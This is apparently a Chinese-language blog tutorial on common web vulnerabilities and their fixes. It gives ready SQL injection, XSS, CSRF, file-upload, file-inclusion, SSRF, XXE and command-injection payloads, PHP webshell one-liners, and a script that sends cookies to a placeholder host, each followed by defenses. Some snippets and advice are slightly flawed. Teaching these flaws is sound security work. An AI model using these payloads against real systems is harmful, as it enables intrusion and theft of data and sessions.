常见漏洞注入方式以及防御
作者: 分类: 网络安全 发布于: 2024-07-09 12:02:47 浏览:169 评论(0)
常见漏洞注入方式以及防御
SQL注入
URL:www.text.com/text.php?id=1中,如id参数存在注入:
获取当前表中所有数据
1' or 1=1 #
union 注入
# 获取原语句查询字段数
1' order by n # n为数字,从1开始往上加, 报错的前一个数字表示查询字段数
# 确定显示位
1' union select 1,2#
# 查询数据库名和版本信息
1' union select database(),version()#
# 查询当前库中有哪些表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'database_name' #
# 查询某个表中有哪些字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'database_name' and table_name = 'table_name' #
# 查询想要的表中的字段值
1' union select column1,column2 from `table_name` #
报错注入
# 查询数据库名
1' and extractvalue(1,concat(0x7e,database()));#
# 爆表数
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));#
# 查询当前库中有哪些表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())));#
# 查询某个表中有哪些字段
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')));#
# 查询想要的表中的字段值
1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)));#
0x7e 为16进制的~
盲注
布尔盲注
# 判断数据库名长度
1' and length(database()) = n; # n为数字,从1开始往上加,如正确返回数据则表示数据库名长度为n
# 使用ascii编辑一步一步暴出数据库名
1' and ascii(substr(database(),1,1)) = n; # 可用常见的ascii码开始找,然后一步步截取数据库名每一位的查
# 表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database()) = n;#
# 表名
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1)) = n #
# 列名 可常用列名猜
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') = n;#
以上判断也可用二分法查找。
时间盲注
页面未返回任何查询的数据
1' and if(length(database())=n,sleep(5),1);#
表示5秒后返回数据则猜解正确, 后续操作只需要把 length(database())=n 换成布尔盲注中的判断一步步获取数据库名与表名等。
堆叠查询注入
不常见,查询要用mysqli_multi_query()
select * from users; show databases;
宽字节注入
数据库需要使用GBK编码,为了逃逸 addslashes()
函数对单引号的转义
.kobe%df' or 1=1#
# 最终查询语句为
select user from users where name='kobe運' or 1=1#' //从单引号中逃逸出来
http header 和 cookie注入
简单来说就是开发人员从 header 或者 cookie 中获取数据拼接到 sql
语句中查询,并且查询语句中存在注入漏洞,可根据页面展示情况使用上面几种注入方式。
从MySql注入到GetShell
原理为 select into outfile
命令,此命令需要后端开启mysql
写文件权限、以及文件夹写入权限
1' union select 1, "<?php @eval($_POST['a']); ?>" into outfile '/var/www/html/shell.php' #
即可通过访问shell.php
获取到shell
绕过
# 大小写绕过
1' uNIoN sELecT 1,2 #
# 替换关键字 双写
1' uniunionon selselectect 1,2 #
# 使用16进制绕过单引号
1 union select 1,password from user where name = 0x70617373776f7264 #password
# Unicode编码
se%u006cect #表示 select
# 括号绕过空格
select(id)from(table_name)where(1=1)and(2=2)
# 逗号绕过
union select 1,2 -> union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80 -> select user() like 'r%'
select * from news limit 0,1 -> select * from news limit 1 offset 0
# 比较符号绕过
select * from user where id >= 10 and id <= 100 -> select * from user where id between 10 and 100
# or and xor not绕过
and=&& or=|| xor=| not=!
# 内联注释绕过,也常用于绕过waf
order by -> order/*/*/by
union select -> union /*/*/ /*!10445select*/1,2
# 等价函数绕过
hex()、bin() -> ascii()
sleep() -> benchmark()
concat_ws() -> group_concat()
mid()、substr()-> substring()
@@user -> user()
@@datadir -> datadir()
# 特殊符号绕过
select first_name from `users`
select+user_id-1+1.from users;
select@^1.from users;
select-count(id)test from users;
修复方式
预编译
SQL引擎会预先进行语法分析,产生语法树,生成执行计划。后续不管怎么注入,都只按生成的执行计划执行语句。预编译是最好 的防御手段
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
严格检查参数的数据类型
比如id为int类型, 需要先强制转换后再拼接
$sql = "select id,no from user where id=" + (int)$id;
XSS漏洞
注入方式
<!--用于判断是否存在sql注入-->
<script>alert(1)</script>
<!--通过image标签报错获取cookie-->
<img src=## onerror=alert(document.cookie)>
<!--鼠标移到a标签弹出cookie-->
<a onmouseover=alert(document.cookie)>xxs link</a>
<!--发送cookie到远程服务器,常用于钓鱼,也可用于盲打获取管理后台信息-->
<script>var let=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
绕过方式
<!--大小写绕过-->
<scRiPt>alert(1)</ScRipt>
<!--双写,管理后台使用replace-->
<scriscriptpt>alert(1)</scriscriptpt>
<!--使用标签-->
<img src=## onerror=alert(document.cookie)>
<IMG SRC=javascript:alert(‘XSS’)>
<a onmouseover=”alert(document.cookie)”>xxs link</a>
<object data="javascript:alert('XSS');"></object>
<audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>
<video src=x οnerrοr=alert(123)>
修复方式
1、设置cookie 为 HttpOnly,使js无法读取到cookie
2、对输入进行过滤或清理,如php函数 addslashes、strip_tags()、htmlspecialchars()
3、后端输入检查,过滤危险字符
csrf漏洞
需要同时满足以下四个条件:
1、被攻击者已登录目标网站
2、一个功能操作。
3、基于 Cookie 的会话处理。
4、没有不可预测的请求参数。
攻击方式
<!--post请求-->
<html>
<body>
<form action="https://xxx.com/email/change" method="POST">
<input type="hidden" name="email" value="xxx@qq.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
<!--get请求-->
https://xxx.com/email/change?email=xxx@qq.com
以上示例会在被攻击者不知情的情况下修改邮箱地址
绕过方式
1、通过短网址生成链接如: https://www.ft12.com
2、通过burp修改HTTP_REFERER
3、使用二级域名如 www.xxx.com.yyy.com
修复方式
使用动态csrf_token
是最好的防御方式,即每次敏感的请求都验证客户端传过来的csrf_token
。 不管验证成功与否都需要销毁并重新生成。
上传漏洞
注入方式
用户通过上传点上传了恶意文件,通过服务器的校验后保存到指定的位置。当用户访问已经上传成功的文件时,上传的Web脚本会被Web容器解析,从而对网站造成危害。比如上传一句话木马文件shell.php
<?php @eval($_POST['a'])?>
将些文件上传至网站根目录,然后通过蚁剑访问获取webshell
绕过方式
1、部分网站仅通过前端来禁用文件后缀名,可通过改前端代码、禁用js或将文件名先改成png格式,上传时通过burp抓包后修改文件后缀绕过
2、如服务器使用黑名单限制上传文件类型, 可通过文件后缀大小写、结尾加点(仅windows服务器)、结尾加空格(仅windows服务器)
3、.htaccess文件绕过(仅apache中间件且开启mod_rewrite以及 AllowOverride All)。先上传.htaccess文件如
<!-- .htaccess文件 -->
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
再上传 shell.jpg文件,文件内容为一句话木马,即可通过访问shell.jpg获取webshell
4、 ::$DATA绕过(权windows服务器) 比如 shell.php::$DATA
5、 双写后缀名绕过,服务器仅replace一次后缀名为空的情况下
6、 如服务器只验证了MIME类型检测,可通过burp抓包修改 Content-type进行绕过
7、 如服务器通过内容检查16进制头是否为图片类型, 可通过二进制文件器(mac:Hex Fiend; Windows:010 editor)修改内容,在文件末尾或合适的位置(可绕二次渲 染与突破getimagesize和exif_imagetype,二次渲染建议用gif文件)加上一句话木马,结合文件包含漏洞绕过
8、 其它代码逻辑有漏洞可通过条件竞争的方式
修复方式
1、 文件上传目录设置为不可执行
2、 使用白名间判断文件类型,白名单要写全
3、 使用专业的文件存储系统如OSS
4、 使用安全设备防御
文件包含漏洞
攻击方式
后端给了个链接地址可以包含用户输入任意文件地址, 通常是php
语言,尤其是开启是远程文件包含(allow_url_fopen=On (默认为On)、allow_url_include=On (php5.2之后默认为Off))则攻击者可以通过调用一个恶意文件,造成文件包含漏洞。
# 伪代码
<?php
include($_GET['file'])
include_once($_GET['file'])
require($_GET['file'])
require_once($_GET['file'])
可尝试获取系统关键文件
?file=../../../../../../etc/passwd
通过使用php://data 协议,可执行任意代码
?file=data://text/plain,<?php phpinfo();?>
# 还可使用base64编码
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
配合文件上传getshell
如通过文件上传漏洞上传了一句话木马, 可通过包含此一句话木马文件获取 webshell
绕过方式
1、 双写绕过,仅replace一次的情况下 ?page=..././..././..././..././..././etc/passwd
2、 使用函数限制只能通过file开头时,fnmatch( "file*", $file ) 可通过file协议绕过: ?page=file:///etc/passwd
3、 apache中间件日志包含绕过,比较苛刻, 不易出现
修复方式
1、设置白名单(文件名可以确定)
2、过滤危险字符(判断文件名称是否为合法的php文件)
3、设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)
4、关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)
ssrf 漏洞
服务器请示伪造, 后端函数通常为
file_get_contents()
fsockopen()
curl_exec()
攻击方式
# 加载http文件 curl
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
# 访问敏感文件 file_get_content
http://www.xxx.com/image.php?image=file:///etc/passwd
# dict可以向服务端口请求data data2 file_get_content
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2
# 向2233端口发送数据test,同样可以发送POST请求 file_get_content
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test
# 读取php文件源码 file_get_content
http://www.xxx.com/image.php?image=php://filter/read=convert.base64-encode/resource=ssrf.php
漏洞绕过
# 限制域名时,真实时识别为xxc.com
http://www.xxx.com/image.php?image=http://www.xxx.com@www.xxc.com
# 限制请求IP不为内网地址
可以将127.0.0.1采用进制转换或短网址
八进制:
http://www.xxx.com/image.php?image=0177.0.0.1
十六进制:
http://www.xxx.com/image.php?image=0x7f.0.0.1
十进制:
http://www.xxx.com/image.php?image=2130706433
修复方式
1、设置URL白名单或者黑名单内网IP;
2、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准;
3、禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
XXE 漏洞
接收并解析任意用户输入xml内容
攻击方式
读取任意文件
<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;</hhh>
执行系统命令
<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;</hhh>
修复方式
# 使用开发语言提供的禁用外部实体的方法
//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#过滤用户提交的XML数据
过滤关键词: <!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和 PUBLIC
远程代码执行漏洞(RCE)
应用系统从设计上需要给用户提供指定的远程命令操作的接口
攻击方式
如以下后端代码, 允许前端ping
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可通过输入以下内容完成任意命令执行
10.0.0.152;ls
绕过方式
#可通过以下管道符绕过
A && B: 先执行A,如果成功,执行B;
A || B: 先执行A,如果失败,执行B;
A | B:管道符,先执行A后,将A的结果作为B的输入,打印的是B的结果;
A & B: 先执行A,然后不管成功与否,执行B;
A ; B: 先执行A,然后不管成功与否,执行B;
注意: 管道符前后空格可有可没有
防御方式
禁用所有管道符
越权漏洞
攻击方式
水平越权:指相同权限下不同的用户可以互相访问。比如通过链接上用户id修改内容,尝试修改为别人id,看是否能修改到别人的内容
垂直越权: 指使用权限低的用户可以访问到权限较高的用户。需要知道高权限用户才能访问和修改的页面,然后尝试用低权限的用户访问以及修改内容
修复方式
1、通过后端校验权限是最好的越权修复方式
2、特别敏感的操作需要再次验证密码,可再设置一个管理员密码,只有管理员知道,通过此密码校验
3、如水平越权,获取用户id应通过后端读取当前用户id来获取
转载时请注明出处及相应链接。
本文永久链接: http://www.baigei.com/articles/common-vulnerability